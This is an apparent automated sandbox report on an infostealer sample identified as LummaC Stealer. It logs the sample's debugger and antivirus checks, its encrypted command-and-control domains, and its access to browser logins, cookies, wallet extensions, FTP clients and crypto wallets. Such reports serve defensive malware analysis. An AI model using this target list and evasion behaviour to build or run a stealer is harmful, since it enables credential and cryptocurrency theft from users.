Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: NTICE
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: SICE
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: RZnZbS97dD.exe, 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: rapeflowwj.lat
Source: RZnZbS97dD.exe, 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: crosshuaht.lat
Source: RZnZbS97dD.exe, 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: sustainskelet.lat
Source: RZnZbS97dD.exe, 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: aspecteirs.lat
Source: RZnZbS97dD.exe, 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: energyaffai.lat
Source: RZnZbS97dD.exe, 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: necklacebudi.lat
Source: RZnZbS97dD.exe, 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: discokeyus.lat
Source: RZnZbS97dD.exe, 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: grannyejh.lat
Source: RZnZbS97dD.exe, 00000004.00000002.1712898613.0000000000051000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: sweepyribs.lat

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: RZnZbS97dD.exe, 00000004.00000002.1723118864.0000000005B88000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: RZnZbS97dD.exe, 00000004.00000002.1714632664.0000000000280000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 9Program Manager

Source: C:\Users\user\Desktop\RZnZbS97dD.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\RZnZbS97dD.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RZnZbS97dD.exe, 00000004.00000002.1721741458.0000000005190000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: rogramFiles%\Windows Defender\MsMpeng.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1446845277.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1463985863.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1450753922.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1608442259.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1602986818.0000000005196000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\RZnZbS97dD.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: RZnZbS97dD.exe PID: 5196, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RZnZbS97dD.exe, 00000004.00000003.1447165788.0000000000A65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: RZnZbS97dD.exe, 00000004.00000003.1447165788.0000000000A65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: RZnZbS97dD.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: RZnZbS97dD.exe, 00000004.00000003.1447165788.0000000000A65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: RZnZbS97dD.exe	String found in binary or memory: Wallets/Exodus
Source: RZnZbS97dD.exe, 00000004.00000003.1447165788.0000000000A65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: RZnZbS97dD.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: RZnZbS97dD.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
